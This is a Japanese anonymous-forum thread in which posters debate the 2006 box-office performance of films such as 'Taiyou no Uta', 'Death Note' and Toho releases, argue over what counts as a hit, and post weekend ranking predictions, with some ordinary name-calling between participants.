しかも映画女優としては、完全なる無名。
監督も無名。原作などない。
工作員だけでこんなヒットするか。泣きたい層がいまだにいるということを
信じなさいよ。

>>93
＞まだまだ純愛路線は儲かるはず。

「純愛」というジャンルじゃないよ。
闘病＋青春＋泣ける映画。　そういうジャンルはいまだにニーズがあるのは
昨年の「１リットルの涙」、今年の「東京タワー」等で実証済み。

>>131-132
見てると本当に工作員いるのかなって思っちゃう

>>135
タイヨウのウタ全然ヒットしてないじゃんｗ

>>105
興行スレの住人って、いちばん有名なのは「セカチュー」がこけると言い続けた
のでわかるけど、自分が理解できないものはこけると信じたい。
だから、「ラフ」「涙そうそう」のヒットする要因が理解できない。
前者は原作がどうとか、寝ぼけたことを言っている。
後者は、TBSがどうとか。
あほか、どっちも役者を見せることがすべての映画。そして泣ける映画です。
何でそれがわからないかな。

着信なんて誰も面白いと思ってないのに無理やり続編作ってるな

例のが来ましたよ。

ID:dr4aBQ+H

>>137
君がヒットと定義する、その内容を説明しなさい。
まず映画を見たの？　
あの映画はセットがたぶん１つ。クレーンは使っているが、スタッフ、
キャストなどただ同然のはず。
撮影期間はほぼ１ヶ月。だから、限りなく低予算映画なんだよ。
それであの成績でヒットといえないとは。松竹だよ、しかも。
ビジネスは収支があえばいいの。社会人ならあきれるね。

>>139
「着信アリ」に限ったことではない。
この後も「オトシモノ」など、全国公開のホラーは作り続けられる。
理由は、まず低予算であること。そこそこのヒットで収益が出る。
さらにアジアでの公開、米国のリメイク、DVDなども、決して馬鹿に
ならない数字をあげてきたこと。
今後も作られると思うよ。なお。この「Final」は見ようと思う。

タイヨウのうたはYUIで客寄せしてると言うより
YUIを売るために映画タイヨウのうた宣伝してるような印象が強い

>>143
「タイヨウのうた」は結果的にYUIファンを増やすとは思うけど、私はそんなに
好きにはならなかった。
よくYUIのプロモと言う人がいるが、プロモならもっと本格的に歌う場面とか
プロモを撮れる監督を使うでしょ。小泉監督にそんな力はないよ。
結局、「泣ける映画」につきると思う。すごくいいとまでは言わないが、
さわやかな後味を残す佳作という面では成功してるでしょ。

ヒットの目安は興収10億じゃん。
松竹なら届かなくてもヒット？
いつからそんな基準になった？

>>145
君がどの程度長く日本映画のことを見てきたか知らないが、興行収入10億
というのは2003年まで（つまり「黄泉がえり」まで）は、目標の数字だった。
それは、高い目標であり、シリーズもの、松竹なら「釣りバカ」みたいな
作品でなければなかなかいけない数字だった。
たかが２〜３年で変わったのは、東宝だけでしょ。ほかは基本的にはそんなに
変化してない。勝手に基準を変えないでほしい。

>>141
正論だと思うけど、松竹社員の自虐ﾌｫﾛｰっぽくてちょっとﾜﾗﾀ

>>147
「タイヨウのうた」は、ホラー以外の作品でも低予算で全国公開し、それなり
にヒットできるという良い見本だと思うよ。
全く無名のキャスト＆スタッフ。
聞くところでは、リメイクから話が始まって、オリジナル脚本になったんで
しょ。監督は初監督。
これだけ最悪の条件なら１億いかないよ、普通。
大塚愛の映画はNYロケしてるし、彼女は超有名な歌手だし、DVDも有名なんでしょ。
比較にならないと思うな。もちろん、こちらが成功例。

じゃあ何で１２億稼いだ東映のＴＲＹをみんな大コケって言うの？
１０億稼げば単純にヒット扱いって訳じゃないからでしょ？

>>103
｢ラブ★コン」と「ハチクロ」は、ともに当たると思うよ。
「NANA」以上に低年齢に受けているから、お母さん層まで波及するかも。
前者は小池徹平の人気がここにきてピークにきているのもいい。
後者は役者を揃えたね。ピンにジャニをもってくると、大体外れるけども
この映画は群像劇だし、ほかにも人気役者が多い。
ともにかなりの成績を上げると思う。

>>149
織田がらみの話題は、荒れるから扱わないほうがいいと思うよ。
意見はあるけど、触れない。やめたほうが無難。

歌う場面増やしてまんまプロモ映画にしたところで
無名に近い歌手の映画見にいく人がどれだけいるのかな？
タイヨウのうたはプロモ前面に出してないから興味有りで見る人もいる
そこがYUI売り込み戦術で
映画もそこそこヒットしYUIも知名度あがれば万々歳な映画じゃないかな

>>152
中島美嘉の「NANA」以来、歌手＋女優という路線を目指す方向は
完全に確立した。
何せ、美空ひばり、山口百恵、小林旭など、日本映画にはその伝統が
あるからね。
YUIの演技が下手とかいっているけど、そもそも歌手として新人で、
演技経験ゼロの19歳に何を期待してんの。確かにこの年代の女優は
みな上手だから差は感じるけど、歌を歌うシーンだけは女優には
まねできないからね。
YUIファンでもなんでもないけど、ラストのブース内の録音シーンは
泣いたね。プロモとか言い方はどうでもいいけど、映画がよくて歌も
いいなら問題ないでしょ。

>>149
県庁をみんな大コケって言うね
ＴＲＹは・・・

>>154
だからさ。
興行スレでは、織田ネタは避けましょう。
どうせ、言い合いになるんだから。

>>149
　制作費が高いからだろ。大赤字じゃヒットなんて言えないだろ

そうやって、また織田地獄にはまるんだから。
私は、織田という人に、全く興味がない。
だから思うんだけど、毎回荒れるだけの話をしても楽しくないでしょ。
結論なんてない、罵倒合戦なんだから。やめましょう。おしまい。

>>145
　演歌が一般チャートで２０以内にはいればヒットと同じ

>>158
そんな感じかな。
そもそも、現在の東宝がどうかしている。
製造業でいうなら、数年前までのトヨタかな。日産もホンダも相手にならな
かったでしょ。
ケータイなら、ボーダフォンとか。
同じ土俵で語るのがナンセンス。前にも書いたけど、200本以上、インディーズ
映画が公開されている。それらは話題にさえしてもらえないんだよ。
松竹などまだましとさえいえる。

タイヨウのウタはセカチュー・いま会いらと比べると全然ヒットしてないっていうのが客観的見解

うん、そうだね
一生懸命援護をしてる奴がいるがそれが現実

セカチューに比べたら有頂天だってヒットとはいえないよ。

>>160
「世界の中心で、愛をさけぶ」は、非常識な大ヒット。
その証拠に、85億の成績は実写ではまだ破られていないでしょ。これだけ
ヒットが続いても。
「いまあい」は、明らかに「セカチュー」が作った純愛にタイミングよく
乗った映画で、できもよかったが、まずはタイミング。
それに、竹内結子がいた。
それら東宝作品と、低予算の松竹映画を比較するのはナンセンス。

もういい加減「東宝だったら」っていうたらればは飽きたんだが。
どんな映画だって東宝でやりゃ儲かるみたいなアホな風潮やめてくれ。

>>164
東宝に関しては、いくら褒めても褒めたりない気がするね。
確かに製造業でも、１社が独占するケースは多いが、多くはライバルが存在
するもの。東宝にはライバルがいない。
すべての良い企画は、まず東宝に持ち込まれるそうだし、ジャニの松竹
時代劇２本のように、何か裏で密約があるケースや、東宝と東映・松竹を
交互に出る役者（竹内結子など）は多数いるが、これぞという映画はみな
東宝に集約されている。
現在の東宝に隙は全くなく、本当に別格的存在だと思う。今年まだ前期が
終わっていないのに、10億超えが10本！　すごいとしかいえない。

>>164
東宝は場所に恵まれてるというのは多少感じる。

>>166
東宝の直営館が、みな一等地にあるというのは「キネマ旬報」お得意の表現
だが、それは問題じゃないと思う。
私はMOVIXという松竹系のシネコンによくいくが、「有頂天」「海猿」ともに
かかっていない。「日本沈没」はやるらしいが、プリントを回してもらえ
ないのだろう。
こういうところでは、いまだに五社協定の名残を感じる。いい加減にしなよ
と思うけど。東宝はプリントを絞る方針は変えないと言い切ってるから、
今後もだめでしょう。

>>150
｢ラブ★コン」はともかく「ハチクロ」は公開規模が小さすぎるので
当たっても、よくて５億くらいなんじゃない？
最初っから「ＮＡＮＡ」みたな大ヒットは狙ってなさそう

じゃあ結局東宝の作品の方が観たいと思わせるものが多いってことだね。
こればっかりは仕方ない。
他の会社も試行錯誤しながら頑張るしかない。

東宝のプロデューサーは３，４０代で東映なんかは５０代で時代についていってない
というカキコを東映スレでみた気がする

>>168
「ラブ★コン」も「ハチクロ」も、ターゲットは明確なわけだし、よもや
国民的大ヒットなど考えてないよ。
日本映画はそうやって、届ける人に届く映画を作っていけばいいんじゃない。
「ラブ★コン」なんて趣味じゃないけど、受けると思うな。
「NANA２」もそろそろキャストと公開日程が発表になるだろうね。次は50億を
目指すでしょ。ただね、原作を読むと暗いんだよ。そこが問題かな。

>>169
東映は、角川春樹みたいな、とんでもない人をつかまえて、かつての
重量路線に戻すとか、いろいろ考えてるでしょ。
少なくとも「同じ月を見ている」「鳶がクルリと」路線は敗退したわけ
だから。
松竹は模索してるね。がんばってるとは思うけど、全然映画に脈絡が
なくて、「らしさ」が感じられない。作家主義かと思うと、娯楽映画
だったり。

>>146
だからヒットの目安は今も興収10億なんだよ。
収支があえばヒットだなんて
勝手に基準変えてるのはお前のほうだろ。

しかし、夏季予想を出して
出てきたコメントが「ブレイブ」に
関してしかないところが・・・
予想通りにブレイブの認知度が
あがっていることだけはわかった。

スーパーマンとか本当に忘れ去られている悪寒
まあ、自信がある予想は
ナルト、ポケモン、仮面ライダー、釣りバカと
5億未満の作品群くらいですが
あと、ホワイトプラネットが10億超えてくるかも程度

>>170
東宝は、すべてがうまくいっているから、若い20代の社員の企画も
通していると思う。
社員の士気は高まるし、成功すれば認められるし、かつての映画黄金
時代みたいだね。すべての映画を東宝でかけたいけど、今でも相当
無理してるからね。昨年の秋「タッチ」「NANA」なんて、同じ会社が
同時期に封切る映画じゃ、本来ないんだけど。

>>173
君は会社員かな？　映画もビジネス。あたりまえだけどね。
収益が出ればいいんだよ。すべての映画が興行収入100億いく必要は
ない。
トヨタだって車種によっては採算割れしているクルマはあるはず。
映画会社も営利企業である以上、収支があえば（例えば四半期、通年）
それでいいわけ。会社ってそういうものでしょう。

タイヨウのウタって全然ヒットしてないじゃん

>>176
会社の利益の話をしてるんじゃないんだよｗ
話をそらさないでください。
きみが映画史を云々言うのであれば
ヒットの目安が興収10億（昔は配収10億）だったのくらい知ってるはずだが？

タイヨウのうた今週末の興収で
目途が立つと思うけど
それが悪かったら6-7億だね

>>178
それって制作費を考慮に入れないでってこと？

>>178
揚げ足取りになるのかもしれないけど、ヒットの目安が興収10億（昔は配収10億）
っておかしくない？　配収って、興行収入に換算すればほぼ倍だから。
まあ、本質的な問題じゃないか。
ヒットってそもそもなんだと思う？　それは利益を上げた映画をいうんでしょ。
利益を上げない映画（知らないけど「キング・コング」とか？）は、いくら
大ヒットしようが、それは本質的な意味で会社に貢献していないでしょう。
だからこそ、単館公開で２億円の大ヒット！　なんていう表現があるわけ
だから。収益に貢献しているかどうかが目安に決まってるでしょうが。
それはビジネスすべてにいえること。音楽、演劇など、映画の周辺にある
文化も同じことがいえる。宇多田ヒカルはアルバムが１位になったけど、
あれはヒットしたのかな？　してないでしょうね。

タイヨウノウタはXPを利用して作ったYUIのPVというのが順当な見方

>>181
話を広げて誤魔化そうと試みているようですが、無駄ですｗ
収益に貢献とか、本質的な意味だとか
そんな話をしてるんじゃないんですよ。
もちろん音楽、演劇の話でもありません。
映画のヒットの目安の話をしてるんです。
で、今は興収10億が基準になってる。
それは紛れもない事実。
キネ旬とか>>1の映画ランキングのコメントとか読んでみなさい。

>>183
コピペ荒らしキチガイなずなID:dr4aBQ+Hの相手は、こっちでやってね

【中谷美紀】興行収入を見守るスレ88【惨敗】
http://tv8.2ch.net/test/read.cgi/movie/1150118814/l50

>>183
そうなの？
じゃあ織田の映画を何で大コケという人がいるの？
別に荒らすつもりはないけど、わかり易い題材じゃない？

なんでこのキチガイなずなって言うんだ？

>>185
知るか。
そいつに聞け。

>>185
普通に考えればただのアンチが言ってるだけ。
そんなの真に受けるのはアンチ仲間だけって感じじゃないだろうか。

デスノ4億て先行込みだったよな
またダビンチに抜きかえされたりして…

つづけてごめん。
ヒットの基準は１０億って言うのは賛成。
だけど、制作費はやっぱり考慮に入れるべきだと思う。
最近映画を作るのに金をかけられるようになってきたし。

製作費を公表してない映画がほとんど。
考慮に入れるってどうやるの？
無理だろ。

>>191
大作は割と公表するじゃん。大まかに。
それ以外は１０億はかかってないと思ってた、自分は単純に。

デスノートの先行は数館での限定だったので、数百万というところだろう。

ダヴィンチがだいたい７０％前後の推移なので、デスノートは60％以下にでもならなければ
今週末動員で負けるということはないと考えられる。仮に2週目で60％にでもなれば
最終16億も危ぶまれる状況になるが、それはさすがにないだろう。

>192
公表されなければ10億未満という考えは危険。
例えば有頂天ホテルはセットだけで3億。
加えてあれだけのキャスト。
総製作費10億未満というのは考えにくい。
宣伝にやたら金使ってそうな映画もある。
宣伝費なんて関係者でもない限り把握できないでしょ。

先週は予想が的中してビックリでした。
とりあえず今週も予想しときます。

週末予想
1 デスノ　2 ダヴィンチ　3 トリック2　4 着信アリ　5 海猿
6 タイヨウ　7 バルト　8 UV　9 ポセイドン　10 松子

>>183
ビッグタイトルが10億じゃコケ。
やっぱヒットは相対的なものだよ。

役所の「ザ有頂天ホテル」の大ヒット、織田の「県庁の星」の大ヒット、
伊藤の「海猿」の大ヒット、渡辺の「明日の記憶」の大ヒットと、
今年は俳優ががんばってますね。

デスノートは制作費20億だね

有頂天、海猿は大ヒット。県庁、明日はヒットだろ。
相対的といっても４本並べるのは違和感がある。

まさか東宝中谷が東映渡辺に負けるとは思わなかった。
女優もがんばって欲しいところですね。

>>199
製作費が桁違いですから違和感ありませんが。
どれも大ヒットですよ。

週末予想(6月24〜6月25日)
1：ダ・ヴィンチ　2：デスノート　3：トリック　4：着信アリ　5：海猿
6：タイヨウ　7：ウルトラ　8：バルト　9：ポセイドン　10：松子

僅差でダ・ヴィンチが首位に返りざくと予想｡
デスノートは客層が偏りすぎて､急落しそう｡

>>201
そうか？３憶と３０憶ならケタ違いだが。

海猿はドラマとあわせて19億だっけか

>>202
デスノート伸びないかね？
>>203
ほぼ3億と約30億だからケタ違いだな。

週末予想(6月24〜6月25日)
1：ダ・ヴィンチ　2：デスノート　3：着信あり　4：海猿　5：タイヨウ
6：トリック　7：ウルトラ　8：ポセイドン　9：バルト　10：松子

デスノ↓　タイヨウ↑　トリック↓
もしかすると松子は駄目かもしれない。

>>202
ダヴィンチ見る層はMI３に結構取られると思うよ。

>>182
「タイヨウのうた」は、普通に見ればYUIを売り出すプロモなんかに見えない。
前にも書いたが、ならばもっと上手に画（え）を撮れるPV監督はいくらでも
いるし、劇中で流れる音楽が絶対的に少ない。
フルで流れるシーンは見事に一つもないしね。
難病もの＋泣かせ＋青春＝さわやか　でしょ。

>>183
話を広げてなどいない。ビジネスの初歩を話しているだけ。
映画に限らず、ほかの分野でも必ず「採算分岐点」というものがある。
映画ではおおまかにいって、製作費の倍の興行収入があればとんとんといわれる。
もちろん、個別にはいろいろな要素があるにしても。
君の「10億でヒット」というのは俗論の典型でしょう。よく聞く話だけどね。
製作費もプリント本数も関係なしで、どうして目標値だけ同じなのかな。
プリント、すなわちスクリーン数だけ取っても、100か200かで同じ目標に
なるわけないでしょ。もう少し世間のビジネスを勉強したらどう？

>>194
尻すぼみになってしまったけども、松竹で「映画ファンド」をやったね。
「忍」とか。聞いた話だとすべて元本割れだったようで、いかに映画ビジネスが
難しいかわかったと思う。
このスレの住人だけでなく、映画ファンは250本も製作されている日本映画の
50本くらいを話題にして、ヒットしたのこけたの話している。
実は200本、潜在してるんだよ。それらは基本的に大体が採算割れしていると
思っていい。
が、新規参入業者はみなおいしい話ばかり聞いてくるから、作ればみな「三丁目」
や「有頂天」みたいな大ヒットになると思っている。それが邦画バブルたる
ゆえんでしょう。
キネマ旬報をみてると、自分の知らない映画がいかに多いかめまいがする。
ひっそりと公開され、渋谷の夜に消えていく映画がほとんどなんだよ。

>209
じゃあ殆んどの映画が製作費を公開しない中でどうやってヒットか否か区別するの？
一本一本適当に製作費を予想してコケたのコケてないの言い合うわけ？
全く無駄な作業だと思うが。やりたいなら止めないけどさｗ
某なずながヒットという松子は宣伝費に金かけてるみたいだからコケとか認定していくのか。

>>210
東宝配給でファンド組んでやってた「北斗の拳」も元本割れだよん。

ファンドに関しては、松竹でも東宝でもどこでも
興行が難しそうな映画のリスクを素人に負担してもらってる（押し付けてる）
って感じがするけど。

北斗元本割れのソース希望

>>167
最近興行スレにきた人なのかな？

今みたいなバブル状態になるずっと前から、
東宝の強みはいい場所にいい劇場をもってるってことだったんだよ。
制作より不動産のほうに力入れてるとか言われてたぐらいだし。
映画が好きで東宝に入ったのに不動産部門に配属されてびっくりなんてケースもあった。

例えば大阪梅田だと、便利でいきやすいナビオのＴＯＨＯシネマズには人がどんどん吸い込まれてく。
駅から遠く周辺の環境も良くない松竹の梅田ピカデリーなんかはみんな行くの嫌がるし。

>>213
ぐぐればいろいろでてくるけど、例えばこことか↓
http://www.alpha-net.ne.jp/users2/ginjy/zakki/hokuto_fund.html

損益分岐点の判断が難しいけど、北斗は３〜４億ぐらいしか稼げてなかったので
目安の採算ライン「興行で１０億」は遥かに下回る。
ここまで興行がふるわないと、ＤＶＤでカバーするのも無理だし。

>>208
＞「タイヨウのうた」は、普通に見ればYUIを売り出すプロモなんかに見えない。

だからプロモに見えない所が狙いでしょ
無名歌手なんぞのＰＶに興味を示さない人達が普通に面白そうな映画には興味を示す

１，２，３位の「デスノ」「ダヴィンチ」「トリック」だけど
それぞれ本公開前の状況はどうだったんだろう？
「デスノ」は数館での先行上映？
「ダヴィンチ」も先行やってたよね
「トリック」は先行はやっていなかったようだが試写会はかなり数やっていた模様。（これは興行的には逆効果？）
「デスノ」と「トリック」の初動大半は原作やシリーズからのヲタが占めるのではないかと思われるから
今後リピーターや今後の宣伝効果による一般客の動員が関わってくるよね？
デスノは他の二作品に比べて公開日前後にあまり宣伝を行っていなかったような印象があるんだが

>>211
宣伝費込みで発表する場合や、制作費発表した後宣伝費が決まる場合などと
ケースバイケースで、相対的に比べるのは不可能だ。

ダビンチは先行やってない

あと制作費考慮しても海猿有頂天と県庁はヒットはヒットでも同じ列じゃないだろう

有頂天、海猿と県庁、明日のは大ヒットとヒットの違いだな。

>>220
それは誰が決めたんですか？
全て大ヒットですよ。そうでなければ三丁目がヒットになる。

いま「日本映画が盛り上がっている！」といわれているが、実際のところはどう
なのか？
確かに、日本映画の製作本数は、2004年の310本に比べ2005年は356本と46本も
増えている。しかし、その分ヒットの確率は減っているともいえよう。

→だそう。勝ち組・負け組みは、いっそう鮮明になるよね。

つまり負け組→長澤・岡田ってわけだ。

長澤ヲタってドラマ板でもどこにでも来るよな。
結局、他の若手に比べて良い仕事が無いからうろうろしてるんだよね。
こんなところでがんばっても仕方ないのに。

>>211
それを四字熟語で「自縄自縛」といいます。
この興行スレは、建前としては、素人があれこれ調べたり知識を使ったりして
当たったこけたと話すスレッドなんでしょ。
つまりは「床屋談義」。何の精緻な研究もないし、統計的背景もない。
それでいいんじゃないの。

>>214
最近映画を見始めた人、いや、ここにいる99％の人は、日本映画＝だめ　という
図式でしか見てなかったはず。
しかし、映画産業というのは、今のIT産業など比較にならないほど儲かった
産業でもある。その時代に一等地に広大な土地を買い占め、スタジオや賃貸
ビルを作り、彼らは映画よりも不動産に興味があるように思えた。
東映がなんで倒産しないか。いちには、ものすごい土地を持っているから。
撮影所なんて山の中でもいいのに、日本を代表する一等地・成城にあるのも
知ってますよね。

>>217
「デスノート」の先行上映は、ワーナーという外資だからできたんでしょう。
たぶん暗黙の了解で、封切前に先行公開しないという国内映画の了解が
あるんだと思う。
関係ないけど都内の中学受験は、すべて２月１日から始まる。絶対にフライング
は許されない。「デスノート」は実験だと思うけど、やめたほうがいいと
思うな。
先行公開って、初日の数字を水増しするための作戦のようで、うんざりする。

>>221
「かもめ食堂」という単館映画が業界で注目されている。
シネスィッチ銀座で始まり、最終的に広がって、20スクリーンくらいで
やっていたと思うが、その成績がすごい。
何せ、あの歴史に残る「ニューシネマ・パラダイス」を抜いたという
のだから。つまり、ミニシアターなんていう表現が実態をなくした現在、
正真正銘の単館記録を作った。日本映画の新たな底力を感じるね。
「三丁目」系だそうだけども、ネタは多いからしばらくはほのぼの系
映画が続くのかもね。

引用だけど うなずける：
＞三谷幸喜の一作目の「ラヂオの時間」が配収で4億、興収で約8億、三作目の
「有頂天ホテル」が60億ですね。それから「海猿」のパート1が17.4億で、
パート2が今や70億に届くと言われている。
つまり、一昨年ぐらいからシネコンによる一本かぶり現象が出てきて、数年前の
ポテンシャルで考えれば20億以内のものが、60億にいくようになった。そうすると、
映画全体のパイ＝興行収入が2004年は約2000億円、2005年は1900億円と、広がって
いるわけではないので、｢ＬＩＭＩＴ　ＯＦ　ＬＯＶＥ　海猿｣がほかの作品を全部
喰ってしまっていると思うんです。ミニ洋画、インディペンデント邦画もそこに含
まれている。そのことに関しての危惧があってもいいのではないか。
かつては10億のポテンシャルの作品が、今や25億〜30億に届く可能性が凄くあり、
他を喰ってしまうと、日本の映画産業の構造が大きく崩れてしまうのではないか。
全体のパイがどんどん大きくなるなかで、テレビ局が関係する作品もヒットするなら
問題ないと思うのですが…。

これまで「10億がヒット」というのは俗論だと批判してきたけど、
この専門家の言葉がすべてを言い尽くしてると思う。
素人にはここまでいえないものね。
確かに今までならそこそこの映画の、こけ方がひどい。洋画がね。

これも引用だけど：
＞昨年の日本映画興行収入上位20作品のうち、フジ、NTV、TBSが参加した作品が
　9本あって、その興収合計が約440億円です。
　一方、成人映画を除く、独立系の公開作品は214本もあり、その興収合計は
　67億円強しかないんですね。

→わかる？　日本映画が圧勝してるみたいな、にわか邦画ファンがいるけど
　現状はこんなものですよ。勝っているのは一部にすぎない。

これが最後：
＞若い人たちは、昔ほどシネマライズに代表されるような文化圏の映画に足を
　運ばなくなってしまった。サブカルチャーがなくなって、メインストリームに
　なった。
　高校生たちがシネマライズにいかないで、「チェケラッチョ！」をみているとか。
　また一方、メジャーである東宝が、「嫌われ松子の一生」のような、例えば
　アスミック・エース配給、シネマライズ公開などでやるような作品を手掛けるよう
　にもなりましたし。

→変化についてこれないで、「こけたこけた」を連発している人は、こういう
　まじめな分析を読んで反省しなさい。

>>225
言い出したからにはちゃんと製作費も「採算分岐点」も調べ上げて興行を語るんだろうな？
スクリーン数も考慮に入れるんだろ？
興収10億という現在のヒットの目安に代わる新しい基準を早く確立してみろよｗ
そうだな・・・まずは「嫌われ松子の一生」の興行を分析し、語ってもらおうかな。
それから成城にあるのは東映の撮影所じゃないぞｗ

客からみてヒットというのと製作会社からみて美味しかったというのはまた違うからな
「見守るスレ」って部外者っぽいから前者でいいんじゃないの

超大ヒット→100億以上
大ヒット→60億以上
中ヒット→30億以上
ヒット→15億以上
それ以下→そこそこ

東宝は自分なかではかんなイメージ

>>233
順番に教唆していきます。
＞ちゃんと製作費も「採算分岐点」も調べ上げて興行を語るんだろうな？

何を言い出すのやら。
再度読み返してみなさい。「床屋談義でいい」と私は書いている。
批判した覚えもないし、プロでない者（我々）が映画の興行を語るなとも
書いていないけど。

＞スクリーン数も考慮に入れるんだろ？

映画会社は大手は一部上場だけども、それ以外の多くは非上場会社が
多い。謎も多いし、それは非上場会社の特権でもある。
が、公開スクリーン数というのは、公式HPができて以来、わりと正確に
わかるものになってきた。
映画関連の経費の中でもプリント代というのはかなりの部分を占める。
が、それが一体いくらなのかは、尺にもよるのだろうし、一概に素人が
どうこう言えるのかは知らない。

＞興収10億という現在のヒットの目安に代わる新しい基準を早く確立してみろ

という言い方そのものが、間違い。
ヒットというのは、「すごいね、今度のなんとかのシングルって何万枚
売れたんだって！」というレベルではいいのかもしれないが、所詮映画は
ビジネス。芸術的側面はここで語るべきではないので、あくまでビジネス。
ならば、「ヒットした」「しない」などという抽象的かつ曖昧な言い方で
なく、厳然たる「儲かったかどうか」で語るべき。
それが再三言っている「採算分岐点」を超えたかどうか。君はビジネスを
知ってからんでる？　知らないなら話す意味はないと思う。

＞まずは「嫌われ松子の一生」の興行を分析し、語ってもらおうかな。

ナンセンス。
床屋談義で結構だと書いた。それ以上、素人には無理。
君は会社員かな？　私は出版業界と、その中でしりえた業界の知識しか
ないが、業界にいないと絶対にわからない数字というものがある。
松竹は数年前まで倒産を噂され株価（一部上場）もそれに応じて下がって
いたが、今はどう見ても倒産寸前の株価ではない。
それをどう持ち直したのか、上場企業なのだからIRでも分析すれば
わかるのだろうが、公開されている情報だけでどこまでわかるものやら。
逆にそんな裏の情報をしりえるなら、村上Fではないが、やばい人生を
渡ることになるのでは？
所詮、素人なんだから床屋談義でいいじゃん。何を素人に期待してんの？

＞成城にあるのは東映の撮影所じゃないぞ

君は恣意的に文脈を読み替えるのが得意だね。
どこにそんなことを書いてるのかな。
私は成城学園前から渋谷にバスに乗ることが多かったから、東宝の
撮影所の前をよく通った。
成城なんて君には無縁か。

>>233　存在しない番号にレスつけんな。さもなくば、おまえもIDあぼんされっぞ。

コピペ荒らしキチガイなずなID:Bu8M8Kg3の相手は、こっちでやってね
このスレでは徹底的に無視して枯死させてね

【中谷美紀】興行収入を見守るスレ88【惨敗】
http://tv8.2ch.net/test/read.cgi/movie/1150118814/l50

>「採算分岐点」も調べ上げて興行を語るんだろうな？
>素人なんだから床屋談義でいいじゃん。何を素人に期待してんの？

矛盾してる。

それから
ヒット・コケの基準について語りたい人はスレ違いなので他所でやってね
ここは興行収入を見守るスレ

何がヒットかなんてどうでもいいから。ヒットの基準なんてなんの意味もない。
どの程度稼いだかは製作費と興行収入を見れば分かること。
俺様基準で格付け談義したい奴はコケスレへ行けよ。

タイヨウは下手したらもう圏外かも…。
いくら松竹とはいえもう少し行っても良かったよな。純愛三部作とか言ってたのがみっともない。

もよりのシネコン
ＭＩ３先行で、バルトは１日１回、タイヨウは２回に減らされてる。
ＭＩ３関係なく入ってなかったのかもしれないけど。

「採算分岐点」なんて言葉を使い、映画以外の分野へ話を広げ、薀蓄垂れたのはあなたですが。
しかもビジネスの初歩なんて言ってましたね。てっきり映画ビジネスを語ってくれると思ってました。
それが「床屋談義」へトーンダウン。ガッカリですｗ

＞所詮映画はビジネス。
＞芸術的側面はここで語るべきではないので、あくまでビジネス。
＞ならば、「ヒットした」「しない」などという抽象的かつ曖昧な言い方でなく、
＞厳然たる「儲かったかどうか」で語るべき。

じゃあ、語ってみろよｗ

＞床屋談義で結構だと書いた。それ以上、素人には無理。

俗論と威勢よく切って捨てた割には、変わりの基準が思いつかないんだｗ

＞君は恣意的に文脈を読み替えるのが得意だね。
＞どこにそんなことを書いてるのかな。

>>226下から3行
＞東映がなんで倒産しないか。いちには、ものすごい土地を持っているから。
＞撮影所なんて山の中でもいいのに、日本を代表する一等地・成城にあるのも
＞知ってますよね。

>>235
私的には３０億以上は単純に大ヒットと考えてる

>>245
＞どの程度稼いだかは製作費と興行収入を見れば分かること。

敢えて地雷を踏むけどね（ｗ
いいかな、覚悟は。
織田裕二という役者がいるね。彼の最新作は「県庁の星」だ。ただし、W主演は
女優のトップ格・柴咲コウだから、果たしてどの程度、織田に当たったか
当たらないかの責任があるのかは単純にはいえないとは思う。
が、客観的に見て「長澤映画」があるように、あれは「織田映画」以外の
なにものでもない。
が、半分くらいの人は20億という数字を見て、「こけた」と称している。
私は彼の見方でも敵でもないし、どちらの側にもつくつもりはないが、20億でも
こけたと言っている人が多数いるというのは、現実。
つまり、50点取れば合格というラインがあるのではなく、何かの変動要因が
あって、そのたびにラインは動いているわけだ。そこが問題を複雑にしている。

タイヨウのうた。渋谷アミューズ満員。
地方すいてんだろうな。
スクリーン数確保しても見たい人が多い街でガンガン回さなきゃ駄目。

>>246
「タイヨウのうた」は、先日見て簡単に感想も書いたが、それほど
大きな広がりのある映画ではないと思った。
先日も書いたが、低予算にしてはよくできた映画・・それにつきる。
何せ役者が５名。セットはたぶん１つ。撮影は１ヶ月。
華のある役者がいるわけでも、監督や原作が有名なわけでもない。
健闘していると思うよ。

>>248
読書家のはしくれとして言わせてもらうなら、素人は素人でしかない。
私は映画史なんてまともに勉強したことのない、熱心な映画ファンの一人に
すぎない。業界に知人がかつていた程度で、特段皆の知らないことを知って
いるわけでもない。
お勧めは以下のHP。今読める中では、最高の内容でしょうね。書籍では今は
まだここまで書いているものはない。日本映画がブームになってから書籍は
出ているが、ろくなものがないから。

http://www.kinejunsoken.com/

そのいいかたならセカチューの役者は５人

>>254
シネ・アミューズは、ポジション的に微妙な位置にある。
かつてシネ・アミューズというと日本映画の聖地のような時代があった。
そこに行かないと見られない映画が多く、熱心に通ったものだ。
しかし、「誰も知らない」の頃からじゃないかと思うが、シネ・アミューズ
でしかやっていない映画ってほとんどなくなって、「ゆれる」のように
近くにシネコンでさえかかるようになると、存在価値が激減する。
アミューズCQNという分館も、必要だったのかどうか。
駅から遠いし、周囲に何があるわけでもなし。開館の映画が綾瀬はるか
主演の「雨鱒の川」・・。それがすべてを暗示していたように思う。
じきになくなるでしょう。

CDとかは、どれだけプロモに金がかかっていようが、いなかろうが
結局、売れた枚数で計っているよな。
映画はそういう単純な計算じゃ駄目なのか。

着信微妙じゃない

>>259
ごく最近読んだ、宇多田ヒカルの記事だと、枚数の激減もさることながら、
プロモに金をかけすぎ、とあったね。
もっとも、音楽の金のかけかたなんて、映画に比べれば比較にならないほど
安価だけど。

>>260
「輪廻」「着信アリFinai」「オトシモノ」と、東宝ですら全国公開が
これだけある（まだあるかな？）。
ってことは、受容があるんでしょう。
少なくとも、前２者は世界公開が決定しているし、米国でのリメイクも
決定している。ホラーはDVDもそれなりに売れているんだろうし、製作費
もたかが知れている。
「リング」「女優霊」「予言」クラスの映画ならいいんだけども、
興行成績は悪いは、内容は悪いは、では海外向けにとりあえず国内
でもかけました・・と思われてもしょうがないでしょう。

>>247
川崎チネチッタはタイヨウ４回（＋オールナイト２回）、バルト３回。
タイヨウはそのままだがバルトは減らされてる。
更にバルトは先週844席のスクリーンから107席になってる。
よほど先週客が入らなかったのか。バルトコケ決定っぽい。

>>263
＞844席のスクリーン

すごいな、改装されてからのチネチッタは行ってないので、そんなに大きな
劇場があるの？
先日読んだものだと、いまだに語り継がれる東京の京橋（銀座のそば）に
あった、テアトル東京のスクリーンより大きなスクリーンが、全国に３つ
だったかな、あるんだね。知らなかった。
東京ではヴァージンシネマズ六本木ヒルズ。あとは名古屋とどこか。
すごいね。六本木はともかくとして、ここから行ける範囲で一番大きな劇場は
新宿ミラノ座かな。たいしたことないもんね。

タイヨウはバルト抜くだろうけど、先週よりもお客集めるのかな？

てかなんでバルトに844席も…
信濃町だからか

>>265
